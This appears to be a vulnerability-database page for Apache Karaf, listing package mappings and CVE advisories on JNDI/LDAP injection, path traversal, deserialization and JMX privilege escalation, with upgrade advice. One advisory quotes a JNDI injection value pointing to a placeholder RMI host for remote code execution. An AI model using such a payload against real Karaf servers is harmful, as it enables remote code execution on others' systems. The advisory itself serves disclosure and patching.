Approved changes feed: RSS · Atom

cpe:2.3:a:apache:karaf:*:*:*:*:*:*:*:*

part: a version: * update: *

VendorApache (b0303047-b7dd-5cf8-abcc-71b7d9d80b95)
ProductKaraf (dece9f4e-cc33-5611-9c58-5c4a5b3884e4)
Edition*
Language*
Software edition*
Target software*
Target hardware*
Other*
NotesImported from purl2cpe mapping

PURL mappings

PURLSourceLast updated
pkg:apache/karaf purl2cpe 2026-06-01 10:14:32.076183
pkg:docker/apache/karaf purl2cpe 2026-06-01 10:14:32.076185
pkg:github/apache/karaf purl2cpe 2026-06-01 10:14:32.076187
pkg:maven/org.apache.karaf/apache-karaf purl2cpe 2026-06-01 10:14:32.076188

Vulnerability references

IdentifiercpeApplicabilitySubmitteddb.gcve.eu detailsRationale
CVE:CVE-2022-40145 vulnerable 2026-06-08 05:48:24.044503 Apache Karaf: JDBC JAAS LDAP injection
This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL. The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource use InitialContext.lookup(jndiName) without filtering. An user can modify `options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command");` in JdbcLoginModuleTest#setup. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. We encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8
Published: 2022-12-21T15:23:42.847Z
Updated: 2025-04-15T18:03:47.618Z
Reference links
Imported from gcve-enriched-dumps CVE data
CVE:CVE-2022-22932 vulnerable 2026-06-08 05:40:55.575232 Path traversal flaws
Apache Karaf obr:* commands and run goal on the karaf-maven-plugin have partial path traversal which allows to break out of expected folder. The risk is low as obr:* commands are not very used and the entry is set by user. This has been fixed in revision: https://gitbox.apache.org/repos/asf?p=karaf.git;h=36a2bc4 https://gitbox.apache.org/repos/asf?p=karaf.git;h=52b70cf Mitigation: Apache Karaf users should upgrade to 4.2.15 or 4.3.6 or later as soon as possible, or use correct path. JIRA Tickets: https://issues.apache.org/jira/browse/KARAF-7326
Published: 2022-01-26T11:10:12.000Z
Updated: 2024-08-03T03:28:42.479Z
Reference links
Imported from gcve-enriched-dumps CVE data
CVE:CVE-2021-41766 vulnerable 2026-06-08 05:35:20.939555 Insecure Java Deserialization in Apache Karaf
Apache Karaf allows monitoring of applications and the Java runtime by using the Java Management Extensions (JMX). JMX is a Java RMI based technology that relies on Java serialized objects for client server communication. Whereas the default JMX implementation is hardened against unauthenticated deserialization attacks, the implementation used by Apache Karaf is not protected against this kind of attack. The impact of Java deserialization vulnerabilities strongly depends on the classes that are available within the targets class path. Generally speaking, deserialization of untrusted data does always represent a high security risk and should be prevented. The risk is low as, by default, Karaf uses a limited set of classes in the JMX server class path. It depends of system scoped classes (e.g. jar in the lib folder).
Published: 2022-01-26T11:10:11.000Z
Updated: 2024-08-04T03:15:29.312Z
Reference links
Imported from gcve-enriched-dumps CVE data
CVE:CVE-2020-11980 vulnerable 2026-06-08 05:17:55.993021 Details available
In Karaf, JMX authentication takes place using JAAS and authorization takes place using ACL files. By default, only an "admin" can actually invoke on an MBean. However there is a vulnerability there for someone who is not an admin, but has a "viewer" role. In the 'etc/jmx.acl.cfg', such as role can call get*. It's possible to authenticate as a viewer role + invokes on the MLet getMBeansFromURL method, which goes off to a remote server to fetch the desired MBean, which is then registered in Karaf. At this point the attack fails as "viewer" doesn't have the permission to invoke on the MBean. Still, it could act as a SSRF style attack and also it essentially allows a "viewer" role to pollute the MBean registry, which is a kind of privilege escalation. The vulnerability is low as it's possible to add a ACL to limit access. Users should update to Apache Karaf 4.2.9 or newer.
Published: 2020-06-12T21:55:34.000Z
Updated: 2024-08-04T11:48:57.229Z
Reference links
Imported from gcve-enriched-dumps CVE data
CVE:CVE-2019-0226 vulnerable 2026-06-08 05:12:19.404799 Details available
Apache Karaf Config service provides a install method (via service or MBean) that could be used to travel in any directory and overwrite existing file. The vulnerability is low if the Karaf process user has limited permission on the filesystem. Any Apache Karaf version before 4.2.5 is impacted. User should upgrade to Apache Karaf 4.2.5 or later.
Published: 2019-05-09T13:31:47.000Z
Updated: 2024-08-04T17:44:15.370Z
Reference links
Imported from gcve-enriched-dumps CVE data
CVE:CVE-2019-0191 vulnerable 2026-06-08 05:12:19.211693 db.gcve.eu details were skipped to keep the page responsive. Imported from gcve-enriched-dumps CVE data
CVE:CVE-2018-11788 vulnerable 2026-06-08 05:10:39.028348 db.gcve.eu details were skipped to keep the page responsive. Imported from gcve-enriched-dumps CVE data
CVE:CVE-2018-11787 vulnerable 2026-06-08 05:10:39.025664 db.gcve.eu details were skipped to keep the page responsive. Imported from gcve-enriched-dumps CVE data
CVE:CVE-2018-11786 vulnerable 2026-06-08 05:10:39.025167 db.gcve.eu details were skipped to keep the page responsive. Imported from gcve-enriched-dumps CVE data
CVE:CVE-2016-8750 vulnerable 2026-06-08 05:08:14.813653 db.gcve.eu details were skipped to keep the page responsive. Imported from gcve-enriched-dumps CVE data
CVE:CVE-2014-0219 vulnerable 2026-06-08 05:05:12.267190 db.gcve.eu details were skipped to keep the page responsive. Imported from gcve-enriched-dumps CVE data

Contribute

You can submit an edit proposal for this CPE entry or suggest a related product/vendor addition using the action button above.